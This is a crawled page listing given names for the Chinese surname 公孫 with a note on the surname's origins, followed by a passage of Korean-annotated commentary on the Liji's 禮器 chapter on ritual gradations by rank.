公孫文樂 公孫堅華 公孫湘雨 公孫帥 公孫丁李 公孫靈翔 公孫征 公孫翠峰 公孫德福 公孫蘇蘋 公孫瀟蔓 公孫峻 公孫宴賓 公孫益海 公孫航澤 公孫王昕 公孫哲城 公孫清晶 公孫錦睿 公孫霄漢 公孫福唐 公孫智華 公孫緣 公孫睿奇 公孫元法 公孫樹財 公孫滋 公孫月名 公孫肜如 公孫賦遙 公孫奎志 公孫五 公孫小涵 公孫守軍 公孫苠菘 公孫淮素 公孫德軒 公孫森焱 公孫玨才 公孫薇 公孫文新 公孫融傢 公孫依贊 公孫小葉 公孫海屏 公孫澍 公孫君越 公孫小曼 公孫乘豪 公孫春泉 公孫虎成 公孫幫 公孫炫言 公孫連順 公孫學深 公孫亞可 公孫華健 公孫熠 公孫宗元 公孫曰漪 公孫立 公孫海龍 公孫衛冬 公孫俊輝 公孫小榮 公孫成林 》》還是沒有找到滿意的名字?不妨問問大師。\n公孫卯還 公孫元栽 公孫三海 公孫倚樾 公孫世農 公孫立強 公孫紹強 公孫瀚霆 公孫豐 公孫愛薪 公孫涵柏 公孫宇婕 公孫鑫培 公孫子西 公孫國尉 公孫亞寧 公孫心 公孫素華 公孫程康 公孫郡 公孫酈倡 公孫兆銘 公孫鳳仙 公孫博洋 公孫歧彬 公孫鶴明 公孫淳澤 公孫世糧 公孫曉東 公孫睨 公孫憶菲 公孫崎峰 公孫雨奚 公孫譯頷 公孫思宜 公孫奕菲 公孫旭林 公孫增君 公孫纖窈 公孫雋恒 公孫樂珂 公孫敬玖 公孫藝湞 公孫雲宵 公孫樂語 公孫若塵 公孫玉傑 公孫乙 公孫方 公孫峰 公孫本洪 公孫薇妃 公孫忻樺 公孫靖雅 公孫濼勤 公孫查麓 公孫徂顬 公孫鍔 公孫培傑 公孫瑞 公孫廣東 公孫智凱 公孫學旺 公孫艾米 公孫成軍 公孫天爍 公孫鋮泓 公孫永生 公孫子雲 公孫馨露 公孫志鋒 公孫紅帆 公孫小龍 公孫曄昔 公孫熙與 公孫華廈 公孫落萱 公孫傢原 公孫胡忠 公孫欣佳 公孫遠卓 公孫啟山 公孫子丹 公孫涵雋 公孫劍修 公孫翌函 公孫禹宸 公孫瑜焓 公孫月新 公孫仁守 公孫銘 公孫雲茜 公孫勁冬 公孫佩 公孫傑丞 公孫音 公孫靖 公孫凌瑜 公孫薇 公孫往遠 公孫天華 公孫聞雁 公孫傢成 公孫劉 公孫越 公孫智函 公孫伊芝 公孫立群 公孫禾書 公孫飛翔 公孫副 公孫淤 公孫奎皓 公孫航 公孫良忠 公孫海忠 公孫立雲 公孫凱萌 公孫茜 公孫璐璐 公孫智茜 公孫寶全 公孫毅十 公孫一凡 公孫國 公孫證鉆 公孫建陽 公孫濮纓 公孫會虎 公孫金龍 公孫子竣 公孫良築 公孫潮虹 公孫雲霏 公孫弘嚴 公孫萬敏 公孫壽駿 公孫智雅 公孫子南 公孫躍 公孫儕 公孫若荀 公孫巖得 公孫一丁 公孫相成 公孫羽昕 公孫一朔 公孫海荷 公孫虹\n公孫豐宇 公孫聰 公孫綺晴 公孫曉寶 公孫智星 公孫之雅 公孫明昕 公孫星雲 公孫紋岑 公孫伊琦 公孫子旭 公孫致華 公孫子昂 公孫鐘麟 公孫潤恒 公孫志朕 公孫永康 公孫逸揚 公孫翔 公孫才奏 公孫貝貝 公孫中浩 公孫可鑫 公孫水木 公孫泳彤 公孫思遠 公孫書 公孫璇 公孫存秀 公孫福堂 公孫金劍 公孫文龍 公孫長鉦 公孫思訓 公孫玉墨 公孫剛 公孫昱力 公孫良亦 公孫敏正 公孫晨舒 公孫桂榮 公孫習淋 公孫煒祥 公孫央央 公孫泰安 公孫寇達 公孫祈焱 公孫妮莎 公孫中耀 公孫縈 公孫語桐 公孫必風 公孫田田 公孫迎西 公孫雙亦 公孫玉霄 公孫佳瑞 公孫慈 公孫圍齊 公孫靖遠 公孫一鑫 公孫瀟軒 公孫忠強 公孫昕輝 公孫子樂 公孫凱樂 公孫秋利 公孫天宇 公孫鎵菁 公孫璽胤 公孫富健 公孫長青 公孫培康 公孫練章 公孫文迪 公孫利安 公孫秋影 公孫元帥 公孫儀 公孫鎬鑫 公孫顏昱 公孫曉雯 公孫雋宇 公孫亦發 公孫興傑 公孫嶽溟 公孫伊欣 公孫泰平 公孫文滇 公孫建成 公孫東晨 公孫蘭歡 公孫萬策 公孫駿偉 公孫咣彌 公孫俊燁 公孫小慧 公孫尚菁 公孫國仁 公孫秀越 公孫賀濱 公孫希元 公孫詩俊 公孫方冰 公孫聳 公孫緒成 公孫雲 公孫淞元 公孫馨月 公孫振東 公孫曉陽 公孫加 公孫先華 公孫昔凝 公孫舒幻 公孫程允 公孫則鈴 公孫秀君 公孫茗軒 公孫清華 公孫藹書 公孫欣雨 公孫春鳳 公孫菡燁 公孫傢辰 公孫香睿 公孫海泳 公孫恩記 公孫維健 公孫得運 公孫飛羽 公孫世輝 公孫凡夕 公孫彩鳳 公孫丁相 公孫亟 公孫宇彥 》》還是沒有找到滿意的名字?不妨問問大師。\n公孫(Gōng sūn 公孫)姓源流較廣,源出大類有二:\n1、出自春秋時各國諸侯的後裔,以爵號為氏。春秋時,各國諸侯不論爵位大小,多喜歡稱公。按照周朝制度,國君一般由嫡長子繼位,即位前稱為太子 ,其他的兒子便稱為公子,公子的兒子則稱公孫。他們的後代便有不少人便以公孫為姓,因此,公孫並非一族一姓的後人。據《廣韻》載 :\"古封公之後,皆自稱公孫,故其姓多,非一族也。\"又據《通志》載:\"公孫氏,春秋時諸侯之孫,亦以為氏者,曰公孫氏,皆貴族之稱。或眼黃帝姓公孫,因以為氏。\"公孫姓望族居扶風(今陜西省咸陽東)、高陽。\n2、出自姬姓,黃帝軒轅的後裔有公孫氏。最初出現的公孫氏是在上古時期。據《路史》載:\"神農同母弟勖,嗣少典國君,世為諸侯,後以公孫為姓。軒轅帝初名公孫,後改姬。\"所有他的後代裡,有部分姓公孫,稱公孫氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.share4tw.com\/archives\/285521","date":"2017-10-19T09:15:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823260.52\/warc\/CC-MAIN-20171019084246-20171019104246-00227.warc.gz","language":"lzh","language_score":0.9822446704,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9822446703910828, \"nan_Hani_score\": 0.011057469062507153}","num_words":411,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"器有二義一是學禮者成德器之美一是行禮者明用器之制\n[嚴陵方氏曰禮運言道之運禮器言器之用道散而爲器故繼禮運而後有禮器焉然禮運非不及器以道爲主爾禮器非不及道以器爲主爾故記者各以所主名篇]\n1-1. 禮는 器니 是故로 大備하니 大備는 盛德也라. 禮는 釋回하고 增美質이라. 措則正하고 施則行하나니 其在人也에 如竹箭之有筠[匂]也며, 如松栢之有心也하니, 二者이 居天下之大端矣라. 故로 貫四時而不改柯易葉하나니, 故로 君子이 有禮라. 則外諧而內無怨이라. 故로 物無不懷仁하며 鬼神이 饗德하나니라.[429]\n以禮爲治身之器라. 故.能大備其成人之行이니 至於大備면 則其德盛矣라. 禮之爲用이 能消釋人回邪之心하고 而增益其材質之美하나니 措諸身則無往不正하고 施諸事則無往不達하니 以人之一身으로 言之컨대 如竹箭之有筠하야 足以致飾於外며, 如松栢之有心하야 足以貞固於內하리니 箭은 竹之小者也요, 筠은 竹之靑皮也요, 大端은 猶言大節이니 二物이 比他草本에 有此大節이라. 故.能貫串四時호대 而柯葉無所改易也하나니 君子之人이 惟其有此禮也라. 故.外人之疎遠者이 無不諧恊하고 內人之親近者無所怨憾하야 人歸其仁하며, 神歆其德也이니.\n[嚴陵方氏曰人稟五行之秀氣則其質未始不美也然或不美者蔽於回邪以損之爾故釋回然後可以增美質也然禮之於人豈能予之以其所無哉亦因其所有以增之爾故於美質言增焉]\n[馬氏曰先王以人情爲田始於脩禮以耕之陳義以種之以至播樂而達於順則無所不備也故曰大備回者僞之自外入者也美質者誠之由中出者也禮所以去僞故在回則釋之禮所以著誠故在質則增之以措則正致之以治己者也以施則行施之以治人者也竹箭之有筠言其和澤於外也松栢之有心言其堅實於內也故爲天下之大端而禮者亦人道之大端也堅實於內者猶言實以君子之德也和澤於外者猶言文以君子之容也禮所以理萬物故物無不懷仁所以順鬼神故鬼神饗德]\n[筠대나무이름균,대껍질균][匂:향내내.勻:고를균,두루균][柯:너도밤나무가,가지가,줄기가자루가]\n[諧:고를해,해서해][恊=協][憾:한할감,원한,섭섭함][歆:흠향흠.부러워할흠][措:둘조,베품)(섞일착錯)]\n1-2. 先王之立禮也이 有本有文하니 忠信은 禮之本也요, 義理는 禮之文也니 無本이면 不立하고 無文이면 不行하나니라.[432]\n先王制禮이 廣大精微하니 惟忠信者이 能學之나 然而纖悉委曲之間에 皆有義焉하며 皆有理焉하니,無忠信則禮不可立이요, 昧於義理則禮不可行이니 必內外兼備하고 而本末具擧라야 則文因於本而飾之也이 不爲過하고 本因於文而用之也이 中其節矣니라.\n[長樂陳氏曰有忠有信則內有主而能正故曰禮之本有義有理則外有主而能行故曰禮之文下曰甘受和白受采忠信之人可以學禮此忠信所以爲禮之本也 孔子去麻冕以從衆則適於義從拜下以違衆則歸於理此義理所以爲禮之文也]\n[嚴陵方氏曰孟子言理義人心之所同 然此以爲禮之文者彼主於體此主於用故也]\n1-3. 禮也者는 合於天時하며 設於地財하며 順於鬼神하며 合於人心하며 理萬物者也라. 是故로 天時有生也며 地理有宜也며 人官이 有能也며 物曲이 有利也니 故로 天不生하며 地不養이어든 君子이 不以爲禮하며 鬼神이 弗饗也하나니 居山호대 以魚鼈爲禮하며 居澤호대 以鹿豕爲禮를 君子이 謂之不知禮라하나니라.[433]\n合於天時는 天時有生也니 謂四時各有所生之物하니 取之를 當合其時요, 設於地財地는 理有宜也니 謂設施行禮之物이 皆地之所産財利也이나, 然.土地各有所宜之産하니 不可强其地之所無이니 如此면 自然順鬼神하며, 合人心하야 而萬物이 各得其理也이니라. 人官有能은 謂助祭執事之官을 各因其能而任之니, 蓋人各有能有不能也이니라. 物曲有利者謂物之委曲이 各有所利하니 如麴蘖이 利於爲酒醴며, 桐竹이 利於爲琴笙之類也라. 天不生은 謂非時之物이요, 地不養은 如山之魚鼈과 澤之鹿豕之類이니라.\n[虙氏曰天時有生則陰陽寒煖之不齊地理有宜則高下燥濕之不一人官有能則當因任其能而不廢物曲有利則當曲成其利而不遺苟非禮之會通孰能與於此哉]\n[嚴陵方氏曰以天所不生者爲禮則逆天之時矣以地所不養者爲禮則逆地之理矣天時地理之不可逆如此則人官物曲固可知言地所不養之物而不及天所不生者亦擧此以見彼也]\n[延平周氏曰合於天時而天時有生也設於地財而地理有宜也合於人心而人官有能也理萬物而物曲有利也禮至於曲利萬物而不遺非禮之妙孰能與於此然言順於鬼神合於人之心而止曰人官有能則是特言人之爲成材而不及於鬼神者何也人者鬼神之所依言人則見鬼神矣君子之爲禮順於天地而已矣非天地之所宜而以爲禮者故君子謂之不知禮]\n[麴:누룩국][蘖:움얼,그루터기][虙:성복,범,복희]\n1-4. 故로 必擧其定國之數하야 以爲禮之大經하나니 禮之大倫은 以地廣狹이요, 禮之薄厚는 與年之上下니, 是故로 年雖大殺[色介反]하나 衆不匡懼는 則上之制禮也에 節矣니라.[435]\n定은 猶成也요, 數는 稅賦所入之數也니, 王制言祭用數之仂이라하니 禮非財不行이라. 故.必以此數로 爲行禮經常之法也라. 禮之大倫以地之廣狹은 天子諸侯卿大夫地이 有廣狹이라. 故.禮之倫類이 不同하야 地廣者는 禮備하고, 地狹者는 禮隆也니, 禮之厚薄은 則與年之上下로 爲等이니, 王制言豊年不奢하며 凶年不儉이라하니, 是專言祭禮요, 此兼言諸禮耳니라. 大殺은 謂年凶하야 而稅斂之入이 大有減殺也라. 匡與恇通하니 恐也라. 衆不匡懼는 謂無溝壑之憂也니 此其制禮有節하고 財不過用이라. 故 能如此이니라.\n[長樂陳氏曰經言其常倫言其理擧其定國之數則有常故言大經以地廣狹則有理故言大倫夫擧其定國之數以爲禮之大經則王制所謂必於歲之抄五穀皆入然後制國用者是也禮之大倫以地廣狹則王制所謂用地小大是也禮之厚薄與年之上下則王制所謂視年之豊耗是也先王之爲禮節以制則有所裁節以度則有所限故能於財則不傷於民則不害此其所以年雖大殺而衆不匡懼也]\n[龍泉葉氏曰禮無定經也以擧國之數爲經也無常倫也以地之廣狹爲倫也不自爲厚薄也以年之上下爲厚薄也制禮之節用財之數常相繼而不相離不獨於其隆也盛禮以自尊而又於其殺也貶禮以自卑蓋稱財以爲禮而不以空文言禮也計其有而不虞其無喜其備而不憂其闕聖人之於禮也必不然矣]\n[殺:덜쇄,빠르다,내리다.殺到:한꺼번에 세차게몰려듬][仂:나머지륵,1\/10.부지런하다][恇:겁낼광][溝도랑구] [耗:빌모(虛),축나다,다하다][貶:떨어뜨릴폄]\n1-5. 禮는 時爲大하고 順이 次之하고 體이 次之하고 宜이 次之하고 稱[去聲]이 次之하니 堯이 授舜하며 舜이 授禹하며 湯이 放桀하며 武王이 伐紂는 時也니 詩 云호대 匪革[棘]其猶라. 聿追來孝라 하니라.[437]\n時者는 天之所爲라. 故爲大하니 堯舜湯武之事이 不同者는 各隨其時耳라. 聖王이 受命得天下면 必定一代之禮制하사 或因或革을 各隨時宜라. 故.云時爲大也니라. 順體宜稱四者는 下文析之詩는 大雅文王有聲之篇이라. 革은 急也라. 猶는 與猷通하니 謀也라. 聿은 惟也라. 言文王之作豊邑이 初非急於成己之謀라. 惟欲追先人之事하사 而致其方來之孝하야 以不墜先業耳라. 今詩文에 作匪棘其欲이라. 遹追來孝라 하니라.\n[江陵項氏曰時者天地之大運順者人道之大倫體者其支體宜者其義理稱者其度數五者自綦大至綦細也]\n[猷:꾀유,꾀할유,길][遹:좇을휼,지을휼,이에][綦:비단기(쑥빛).반데,신치장하다]\n1-6. 天地之祭와 宗廟之事와 父子之道와 君臣之義는 倫也니라.[438]\n王者이 父事天하며 母事地라. 故.天地宗廟父子君臣四者는 乃自然之序이니 故.曰倫也요, 倫不可紊이라 故.順次之니라.\n1-7. 社稷山川之事와 鬼神之祭는 體也라.[439-1]\n社稷山川鬼神之禮이 各隨其體之輕重하야 而爲禮之隆殺하나니, 故.曰體次之니라.\n[嚴陵方氏曰天之運之謂時人之倫之謂順形之辨之謂體事之義之謂宜物之平之謂稱堯舜以德而授受湯武以兵而放伐非人力之能爲蓋天運然也故謂之時引詩者言武王聿追文王之道以趨時也天地宗廟父子君臣皆出乎自然之理而人則順而序之故謂之倫社稷山川鬼神自有形以至於無形莫不各有所辨故謂之體]\n1-8. 喪祭之用과 賓客之交는 義也라.[439-2]\n旣於義면 不得不然하니 必須隨事合宜라. 故.曰宜次之니라.\n1-9. 羔豚而祭에 百官이 皆足하며 大牢而祭에 不必有餘니 此之謂稱也니, 諸侯는 以龜爲寶하며 以圭爲瑞하고 家不寶龜하고 不藏圭하며 不臺門은 言有稱也라.[440]\n諸侯有國에 宜之占詳吉凶이라. 故.以龜爲寶也이니라. 家謂大夫也니 大夫이 卑하니 不當寶藏이요, 五等諸侯이 各有圭璧하야 以爲瑞信호대, 又以天子所賜로 如祥瑞之降於天이라. 故.以爲瑞요, 大夫이 非爲君使면 不得執이라. 故.不當藏之니라. 臺門者는 門之兩旁에 築土爲臺하고 於其上에 起屋하니, 大夫不然은 各稱其分守也라. 故.曰稱次之니라.\n[長樂陳氏曰時在天順體宜稱在人在天者大在人者小故時爲大順次之體次之宜次之稱次之堯授舜舜授禹天與賢也湯放桀武王伐紂天吏也順天者存逆天者亡時之所以爲大也天地之祭則有所尊宗廟之事則有所親天地宗廟尊親之倫也父子君臣尊卑之倫也社稷山川地祗之祀人鬼天神之祭三者之體固異蓋天神則以陽爲體地祗則以陰爲體人鬼則魂以陽爲體魄以陰爲體也喪之用則不儉其親祭之用則必盡其物賓之交則禮殺客之交則禮隆皆從其義而已矣羔豚而祭薄也宜若不足而百官皆足大牢而祭豊也宜若有餘而不必有餘者求其稱而已矣蓋順主仁體主禮宜與稱主義其所主雖殊而其爲禮一也]\n[嚴陵方氏曰龜所以決國疑圭所以申國信諸侯有國者也故以龜爲寶以圭爲瑞大夫有家而已故不寶龜不藏圭變瑞言藏則以藏猶不可而況於瑞乎門之有臺所以壯國體故家不臺門凡此則以國家之辨各有稱焉]\n2-1. 禮有以多로 爲貴者하니 天子는 七廟요, 諸侯는 五요, 大夫는 三이요, 士는 一이며,[442]\n一廟는 下士也라. 適士則二廟이니라.\n2-2. 天子之豆는 二十有六이요.[442]\n此이 天子朔食之豆數니라.\n2-3. 諸公은 十有六이요,[442]\n上公也이니 更相朝時堂上之豆數라.\n2-4. 諸侯는 十有二요.[442]\n通侯伯子男也니 亦相朝時堂上之豆數라.\n2-5. 上大夫는 八이요, 下大夫는 六이요.[442]\n皆謂主國이 食使臣堂上之豆數라.\n[山陰陸氏曰天子朝踐八豆饋食八豆又加豆八羞豆二所謂二十有六諸公十六倍上大夫朝事八饋食八諸侯十二倍下大夫朝事六饋食六上大夫八朝事之豆也下大夫六去茅葅麋臡也]\n[葅:김치저,菹와同字. 늪제][麋고라니미][臡:뼈섞인젓니]\n2-6. 諸侯는 七介七牢요, 大夫는 五介五牢며,[443]\n介는 副也라. 上介一人이요, 餘爲衆介라. 牢는 太牢也니 謂諸侯朝天子時에 天子以太牢之禮로 賜之하니 周禮에 公이 九介九牢요, 侯伯이 七이요, 子男이 五이니, 今言七은 擧中以言之也라. 大夫五介五牢者는 諸侯之大夫이 爲君使而來하야 各降其君二等하니, 此五介五牢는 謂侯伯之卿이니 亦擧中言之也니라.\n2-7. 天子之席은 五重[平聲]이요, 諸侯之席은 三重이요, 大夫는 再重이요,[444-1]\n天子袷祭에 其席이 五重이요, 諸侯席三重者는 謂相朝時賓主皆然也니 三重則四席이요 再重則三席이니라.\n[嚴陵方氏曰豆以實地産爲主故每用陰數介謂僎介之介此引諸侯牢介謂朝天子之禮也卿大夫牢介諸侯使聘天子之禮也止言諸侯之席三重則通五等可知言大夫再重則兼卿可知]\n[僎:①준작준(鄕飮助主人者),遵과通字.②갖출선,정제할선,撰과同字]\n2-8. 天子이 崩이어시든 七月而葬호대 五重八翣[所甲反]이요, 諸侯는 五月而葬호대 三重六翣이요, 大夫는 三月而葬호대 再重四翣이니, 此는 以多로 爲貴也니라.[444-2]\n五重者는 謂杭木與茵也니 茵以藉棺하니 用淺色緇布하야 夾爲之하고 以茅秀及香草著其中을 如今,褥子中用絮이나, 然.縮者二요, 橫者三이 爲一重이요, 杭木은 所以杭載於土하니 下棺之後에 置杭木於椁之上하니 亦橫者三이요, 縮者二라. 上加杭席三하니 此爲一重이라. 如是者五則爲五重也니라. 翣은 見檀弓하니라.\n[長樂陳氏曰多少者禮之數大小高下者禮之度文素者禮之容是雖所設之不同皆緣情以制宜隨宜以爲貴以求其稱而已其言以多爲貴則先之以廟而繼之豆介牢席者先神后人之序也由豆介牢席而繼之以葬者養生送死之序也至於多少大小高下文素之間其先後之序蓋可以理考]\n[許氏曰裁群物制庶事安上治民莫善於禮究其裒多益寡別嫌明微使禮之或多或寡或小或大或高或下或文或質各當其位而不相亂各稱其情而不相悖循其名列其器而義以脩焉禮以藏焉則非聖人莫能爲矣故祧廟之設天子則七諸侯則降而五焉大夫三焉士則一焉非特以誠深孝篤獨隆於天子也蓋以天下有三尊祖親禰之道當如是也堂上正羞天子則二十有六豆諸公則殺而十六焉諸侯則十二焉上大夫八而下大夫六焉非以備味多品獨宜於天子也不如是無以極九州之美備四時之和也牢介異數諸侯之七則多於大夫之五席重異宜諸侯之三則多於大夫之再事莫大於天子之喪故葬必七月杭木與茵之數至于五重而翣以八焉至諸侯則五月而葬三重六翣而已夫葬月之或七或五也杭茵柳翣之數五之與三八之與六天子諸侯之儀亦或幾於相亂矣夫其禮之相亂者其間不能以寸聖人乃惓惓致意焉蓋以爲毫釐之際所以明嫌表微者舍是無以自見也]\n[椁=槨:덧관][裒:모을부ㅡ취할부(聚取)][嫌:혐][悖:거스름,어지럽다,어그러짐][祧천묘조,체천,사당(遷主所藏)]\n[杭건널항,나룻배항][茵:사철쑥인,자리,요(褥)][翣:운삽삽,부태삽][惓삼갈권,친절,정성스러움]\n2-9. 有以少로 爲貴者하니 天子는 無介하며 祭天에 特牲이니라.[446]\n介는 所以佐賓이니 天子以天下로 爲家하니 無爲賓之義라. 故.無介也라. 特은 獨也니라.\n2-10. 天子이 適諸侯이어시든 諸侯이 膳以犢하고 諸侯이 相朝에 灌用鬱鬯호대 無籩豆之薦하며 大夫이 聘禮에 以脯醢하며,[447]\n天子祭天惟用一牛하니 若巡守而過諸侯之境하면 則諸侯이 奉膳이 亦止一牛하니, 其尊君之禮이 亦如君之尊天也라. 諸侯相朝하야 享禮畢에 主君이 酌鬱鬯之酒하야 以獻하고 賓不用籩豆之薦者는 以其主於相接以芬芳之德이요, 不在殽味也요, 大夫出使行聘禮에 主國이 禮之를 酌以酒而又有脯醢之薦하니 此見少者이 貴하고 多者이 賤也니라.\n2-11. 天子는 一食이요, 諸侯는 再요, 大夫士는 三이요, 食力은 無數하며.[448-1]\n食은 餐也니 位尊者는 德盛하니 其飽이 以德하고 不在於食味라. 故.每一餐에 輒告飽하야 須御食者이 勸侑라가 乃又餐이라. 故.云一食也라. 諸侯則再餐而告飽하고 大夫士則三餐而告飽호대 皆待勸侑則再食하고, 食力은 自食其力之人이니 農工商賈.庶人之屬也라. 無德不仕하며 無祿代耕하야 禮不下庶人이라. 故.無食數하니 飽卽自止也이니라.\n[殽:섞일효,마른안주][醢:해.육장,젓갈][餐:먹을손삼킬찬.물만 밥(水澆飯) (飧과 同字)][輒:문득첩][侑:권할유.권하여 먹이다(勸食)]\n2-12. 大路는 繁[盤]纓이 一就요, 次路는 繁纓이 七就며,[448-2]\n殷世尙質하니 其祭天所乘之車이 木質而已요, 無別雕飾하니 謂之大路라. 繁은 馬腹帶也요, 纓은 鞅也니, 在馬膺前하야 染絲而織하야 以爲罽이니라. 五色一布曰就요, 就는 猶成也라. 繁與纓을 皆以此罽로 爲之하니 車이 朴素故로 馬亦少飾也라. 大路之下에 有先路次하니, 路次路는 殷之第三路也이니 供卑雜之用이라. 故.就數多하니라.郊特牲에 云.次路五就로대 此蓋誤爲七就니라.\n[嚴陵方氏曰繁纓蓋路馬之飾一就言五色一布蓋色至於五然後備故也色謂之就猶樂謂之成歟大路繁纓一就次路繁纓七就者殷尙質故就之少者爲大就之多者爲次也]\n[鞅:말배띠앙][膺:가슴응,말밷대끈][罽:융단계,물고기그물계]\n2-13. 琥璜은 爵이며.[449]\n圭璋形制는 見考工記하니라. 諸侯朝王以圭하고 朝后則執하니, 璋玉之貴者는 不以他物儷之故로 謂之特이니, 言獨用之也라. 周禮이 小行人이 掌合六幣하니 圭以馬하고 璋以皮나, 然.皮與馬이 皆不升堂하고, 惟圭璋은 特升於堂하고, 亦特之義也이니라.\n2-14. 琥璜은 爵이며.[450]\n琥은 爲虎之形이요, 璜則半環之形也니 此二玉이 下於圭璋하니 不可專達이라. 必待用爵하니 蓋天子享諸侯와 及諸侯이 自相享으로 至酬酒時則以幣將送酬爵할새 又有琥璜之玉하야 以將幣라. 故로 云琥璜이 爵也이니라.\n[延平周氏曰饗至於酬爵則禮成矣圭璋春夏迎氣之玉有生物之意琥璜秋冬迎氣之玉有成物之意有生物之意故不待禮成而特達於天子有成物之意故必待禮成然後附爵而通也]\n2-15. 鬼神之祭는 單席이며,[451-1]\n鬼神이 異於人하니 不假多重하야 以爲溫暖也이니라.\n2-16. 諸侯이 視朝하실새 大夫는 特이요, 士는 旅之니, 此以少로 爲貴也니라.[451-2]\n君視朝之時에 於大夫則特揖之하니 謂每人一揖也라. 旅는 衆也라. 士는 卑하니 無問人數多少하며 君이 一揖而已니라.\n[長樂陳氏曰諸侯膳天子以犢以天子祭天之禮事其天子也諸侯相朝灌用鬱鬯以人敬神之禮敬諸侯也用鬱鬯無籩豆之薦者謂其用鬱鬯之時而無籩豆也君子食德小人食力食德則謀道故食以薄食力則謀食故食以厚此天子至士所以有一食再食三食之數而食力者則無數也夫不待수爵而特達於天子者圭璋也必待酧爵而不可以特達者琥璜也琥璜禮東南之玉而主乎陽琥璜禮西北之玉而主乎陰主乎陽則可以特達於天子主乎陰則必附爵而後通故易之陽卦畵奇陰卦畵耦以其陽故可以特而不必有附陰必資於所附而不可以特也聘義曰圭璋特達德也豈非所謂陽德歟周官之法祀先王之席如朝覲饗射之數而天神之祭則藁桔而已此言鬼神之祭單席者非周制也諸侯視朝大夫特揖士旅之者蓋大夫之德尊而士之德卑德尊者寡故特揖德卑者衆故旅揖而已諸侯之視朝如此至於天子則不然周官之司士云孤卿特揖大夫以其等旅揖士旁三揖]\n[灌물댈관]酧:술권할수.酬의俗字][藁:짚고,거적][桔:도라지길]\n2-17. 有以大로 爲貴者하니 宮室之量과 器皿之度와 棺椁之厚와 丘封之大는 此이 以大로 爲貴也라. 有以小로 爲貴者는 宗廟之祭에 貴者는 獻以爵하고 賤者는 獻以散[去聲]하며 尊者는 擧觶[志]하니 卑者는 擧角하며 五獻之尊은 門外엔 缶요, 門內엔 壺며 君尊은 瓦甒니, 此이 以小로 爲貴也니라.[452]\n爵은 一升이요, 觚는 二升이요, 觶은 三升이요, 角은 四升이요, 散은 五升이니라.\n○ 疏曰特牲에 云.主人이 獻尸에 用角佐食하고 洗散以獻尸하니 是이 尊者.小하고 卑者이 大라. 按天子諸侯及大夫이 皆獻尸.以爵하고, 無賤者獻.以散之文하니, 禮文이 散亡不具也라. 特牲에 主人이 獻尸用角者는 下大夫也라. 特牲少牢禮尸하야 入擧奠觶하니 尊者擧觶라. 特牲에 主人이 受尸酢受角飮者는 是卑者擧角이니 此是士禮耳라. 天子諸侯祭禮는 亡이라. 五獻은 子男之享禮也라. 凡王享臣에 及其自相享行禮獻數를 各隨其命하니 子男五命이라. 故.知五獻이 是子男別尊之法이라. 門外缶者는 缶는 尊名이니, 盛酒在門外하고 壺亦尊也라. 盛酒在門은 內君尊子男之尊也라. 子男이 用瓦甒爲尊하고 不云內外則陳之在堂하니 人君이 面尊而專惠也라. 其壺缶이 但飮諸臣이니 小尊은 近君하고, 大尊은 在門하니, 是以小를 爲貴라. 壺大一石이요, 瓦甒五斗요, 缶는 又大於壺이니라.\n[嚴陵方氏曰周官典命宮室以命數爲節自上公至子男或以九或以五各有差此宮室以大爲貴也天子之路謂之大路弓謂之大弓斗謂之大斗房謂之大房此器皿以大爲貴也尊者之棺至於四重卑者止於一重槨則周於棺此棺槨以大爲貴也周官冡人以爵等爲丘封之度此丘封以大爲貴也量言其所容度言其所至度量宮室器皿皆有之於宮室言量於器皿言度互相備也旣曰器又曰皿者若車旗之屬可謂之器而不可謂之皿若籩豆之屬正謂之皿亦可謂之器此大小之辨也旣曰丘又曰封者自積土言之則曰丘自度土言之則曰封曰丘則必高矣曰封則不必高也故王公曰丘諸臣曰封此亦大小之辨也獻謂獻之於尸也擧謂自擧而飮也貴賤以位言尊卑以體言獻爵者主人獻散者佐食主人之與佐食則有貴賤之別焉故以位言之擧觶者皇尸擧角者主人皇尸之與主人特有尊卑之別爾故以體言之於瓦甒言君尊則知壺缶爲飮諸臣之尊於甒言瓦則知壺缶皆瓦矣]\n[椁=槨][觶:잔 치][甒:酒尊무][觚:술잔고,方,角][觶:벌술잔치]\n2-18. 有以高로 爲貴者하니 天子之堂은 九尺이요, 諸侯는 七尺이요, 大夫는 五尺이요, 士는 三尺이며, 天子諸侯는 臺門하나니, 此는 以高로 爲貴也라.[455]\n九尺以下之數는 皆謂堂上이 高於堂下也라. 考工記에 堂崇이 三尺이라 하니 是는 殷制요, 此는 周制耳라. 臺門은 見前章하다.\n[嚴陵方氏曰陽數窮於九天子則體陽道之極故也故堂階之高其尺以九爲節自是而下降殺以兩故或以七或以五或以三焉前言家不臺門而有國者得用之矣故天子諸侯臺門凡此皆以高爲貴故也]\n2-19. 有以下로 爲貴者하니 至敬은 不壇[徒丹反]하고 掃[去聲]地而祭하며 天子와 諸侯之尊은 廢禁하고 大夫와 士는 棜[於據反]禁하나니 此는 以下로 爲貴也라.[456]\n封土爲壇이니 郊祀則不壇은 至敬이 無文也라. 禁與棜는 皆承酒樽之器니 木으로 爲之하니 禁은 長이 四尺이요, 廣이 二尺四寸이니 通局하야 足高이 三寸이요, 漆赤하고 中畵靑雲氣.菱苕華.爲飾하고 刻其足하야 爲褰帷之形하나니라. 棜는 長이 四尺이요, 廣이 二尺四寸이요, 深이 五寸이요, 無足하고. 亦畵靑雲氣.菱苕華.爲飾也니라. 棜는 是轝名이요, 禁者는 因爲酒戒也라. 天子諸侯之尊에 廢禁者廢去其禁而不用也라. 大夫士棜禁者는, 謂大夫는 用棜하고, 士는 用禁也라. 棜는 一名斯禁이니 見鄕飮酒禮하다.\n[嚴陵方氏曰祭天之禮謂之至敬下言至敬無文是也壇特人爲高非禮之自然也故掃除其地以致其潔也郊特牲所謂掃地而祭於其質也是矣禁所以承酒尊且棜也禁也皆所以爲酒戒曰棜則欲其不流曰禁則欲其不犯別而言之固如此合而言之棜亦禁也猶之旗常通謂之九旗也且有足者爲禁無足者爲棜有足則高無足則下此主以下爲貴於大夫用棜至廢禁則又下矣故天子諸侯之貴如此]\n[棜:갸자어.음식나르는들것]\n2-20. 禮에 有以文으로 爲貴者하니 天子는 龍袞이요. 諸侯는 